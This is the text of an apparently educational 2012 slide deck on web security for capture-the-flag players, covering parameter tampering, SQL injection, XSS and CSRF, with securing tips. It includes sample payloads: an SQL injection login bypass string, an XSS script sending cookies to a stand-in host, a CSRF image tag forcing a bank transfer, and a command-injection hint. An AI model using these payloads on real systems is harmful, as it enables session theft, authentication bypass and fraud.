TEXSAW 2012WEB SECURITY CRASH COURSETexSAW 2012

Scott Hand

Introduction

Recommended Tools

Web browser – Firefox is recommended because of TamperData, Live HTTP Headers, etc.

Knowing Python helps Very little else is needed, Backtrack

Linux is useful for many automated tools

What We’re Targeting

Web Applications Web Pages (HTML, PHP, etc.) Databases

Goal Steal data Gain access to system Bypass authentication blocks

Background

Web Servers

Web applications are really just an interface for accessing a web server

Example Web Servers: Apache IIS Nginx Self-contained servers for one application – Ruby

on Rails, Django, Sinatra, node.js, etc. Some servers like Apache resemble

navigating a file system, others use RESTful routing

HTTP

HTTP is the means of communication It is stateless

We get around this by using sessions Sessions are stored in browser cookies Side effect – If we steal someone’s cookies,

the web server will think we are the same user

HTTP Requests

Web traffic involves a Request and a Response

GET and POST are two main request methods

GET is for an action intended to ask the server for information

POST is for an action intended to tell the server to do something

Examples: GET used for showing your profile on a web site, POST used to update your profile information

HTTP Request Parameters

Along with the URL and request method, HTTP requests can also carry parameters

GET parameters Visible from the url:

http://www.url.com/page.php?arg1=a&arg2=b

Can be embedded easily in links POST parameters are not visible from

the URL and not easily embedded in links, however they can easily be altered

Example Scenario

Example Exchange for a Bank SiteViewing Homepage

User Web Server

GET

GET: index.php

INDEX

Database

Example Exchange for a Bank SiteLogging In

POST

POST: login.phpParameters: username,

password

Redirectto

account

Auth

OK

User Web Server Database

SET UP SESSION

Example Exchange for a Bank SiteTransferring Some Money

POST

POST: transfer.phpParameters: to, amount

Redirectto

account

Make changes

OK

User Web Server Database

Parameter Tampering

Tools

TamperData – Extension for Firefox Can intercept and modify requests Pretty powerful but can be tedious to use

repeatedly Live HTTP Headers – Extension for Firefox

Good for monitoring and replaying requests Fast and good as long as replaying traffic works

Burp Suite Separate program, works through proxy – browser

agnostic Can do just about everything

Example Attack

POST

POST: transfer.phpParameters: to, amount

Redirectto

account

Make changes

OK

User Web Server Database

Parameter Tampering

Example of real-life attack – PayPal was used by vendors to handle transactions. They trust PayPal and PayPal trusts them. They trust that once they send the transaction to

PayPal, it will be resolved and they can send the product when the transaction is complete

PayPal trusts that the information sent to them by the vendor, through the users’ browser (!!!), is correct

If we change the amount we pay to something small, neither party knows and we get the product for nothing

DEMO

Tips for Securing

Don’t trust requests by themselves! Many frameworks will sign requests that

they send to prevent tampering Thinking that users can’t alter POST data

because they can’t see it in their address bar is just weak security through obscurity

SQL Injections

Overview

SQL injection is part of a class of attacks in which we abuse poor programming to embed user-controlled data in trusted code run by the server

Vulnerable code consists of SQL queries being built using string concatenation or interpolation with user tainted variables:

$query = “SELECT * from users ”. “WHERE username = ‘” . $username. “’ AND password = ‘” . $password . “’”;

Example Attack

POST

POST: login.phpLets look at the SQL and the

attack...

Redirectto

account

Auth

OK

User Web Server Database

Behind the Scenes for login.php $query = “SELECT * from users ”

. “WHERE username = ‘” . $username

. “’ AND password = ‘” . $password . “’”;

Examine the result to see if the user is selected.

Sample normal query after input:SELECT * from users WHERE name=‘user’ AND password=‘password’

Sample attack password: ’ OR ‘1’=‘1 Resulting query:

SELECT * from users WHERE name=‘user’ AND password=‘’ OR ‘1’=‘1’

Always returns true, bypasses authentication

Other Types of Attacks

Can add INSERTS, UPDATES, etc. if multiple queries are supported

Blind SQL Injection Needed when the results of a query are not

displayed or even acknowledged Use side channel attacks – sleep for a certain

amount of time if the first character of password is ‘a’, repeat for each letter until a match is found then repeat for each character in password

sqlmap works wonders to help automate this

DEMO

Tips for Securing

USE PREPARED STATEMENTS Don’t plug user input into queries Don’t escape user tainted queries SERIOUSLY USE PREPARED STATEMENTS THEY’RE NOT EVEN HARD TO USE

Cross Site Scripting (XSS)

Overview

Basic idea is to exploit the trust that your browser places in the website it’s viewing

Embed malicious code in the webpage and your browser will execute it

Two Types: Reflected – Client-side. In request

parameters or URL. Requires that a user click the malicious link or form.

Stored – Server-side. Embedded in a web page and hits every visitor that views the page.

Some Goals

Steal cookies Since JavaScript can access cookies, you

can send the victim’s cookies to yourself:<script>$.get(‘www.badurl.com/?cookie=’ + document.cookie);<script>

Mimic real user behavior Fill out and submit forms Open IFRAMEs to maintain access Redirect to other pages

Example Exchange for a Bank SiteViewing Homepage

User Web Server

GET

GET: index.php

INDEX

DatabaseInfect

Bad Guy

Session

DEMO

Tips for Securing

Developers Never, ever allow unauthorized users the

ability to embed HTML into your page. Escape every single bit of user input you

get, it’s all dangerous Users

Use NoScript or similar plugin Don’t click a link with a bunch of JavaScript

in the URL

Cross Site Request Forgery (CSRF)

Overview

Exploit the trust that the web server places in the victim’s browser

It’s difficult for a site to distinguish between legitimate requests and requests that an attacker caused

Not the same as XSS (which exploits browser’s trust in site), but plays very well with XSS – CSRF is often made more deadly by XSS

Example Exchange for a Bank SiteTransferring Some Money

POST

POST: transfer.phpParameters: to=BAD GUY,

1000000

Redirectto

account

Make changes

OK

User Web Server DatabaseBad Guy

Ways to Trigger

An image:<img src=“http://www.bank.com/transfer?to=1337&amount=1000000” />

XSS:$.get(‘./profile.php’, function(data) { // evil });

DEMO

Tips for Securing

Only trust requests from your site Use CSRF-protection tokens – one time

tokens for forms – included in most web frameworks

Don’t make things like bank transfers or log outs a GET request, that just makes life easier for attackers

Not much you can do as a user

General Tips

Look at Requests!

Use TamperData, firebug, Chrome Developer Tools, Live HTTP Headers, etc.

Look closely at things that you can tamper to change the behavior of the application – sometimes the developer trusted that data and nothing will stop you

Inject Everything

If you think it’s using your data in SQL, try some SQL injection

If you think it’s using embedding your data in a program call (`ping $address`) then inject via things like &&

If you think it’s running HTML, throw in some JavaScript

Situational Awareness

Pay close attention to what kind of web server you’re dealing with

Some web servers or web frameworks are more susceptible than others to certain attacks

For example, many web frameworks are good at preventing HTML injection, but tend to trust HTTP requests too much

Keep an eye out for home brewed stuff – whether it be crypto, injection escaping, web servers, etc. – it’s probably not as well vetted against malicious input

JavaScript – It does a lot

If you have jQuery on your website, use it! You can issue requests and parse the

results with $.get() and $.post(). These are so helpful for enhancing XSS attacks (example: do a GET to a user’s profile page, pull their info from the form, POST it to your page)

It gives you tools for shorter JavaScript payloads, especially handy when space is critical

Pretty much anything on the user’s end can be scripted and altered

Any questions?

That’s all, CTF Time!

Presented by Scott Hand (utdallas.edu/~shand)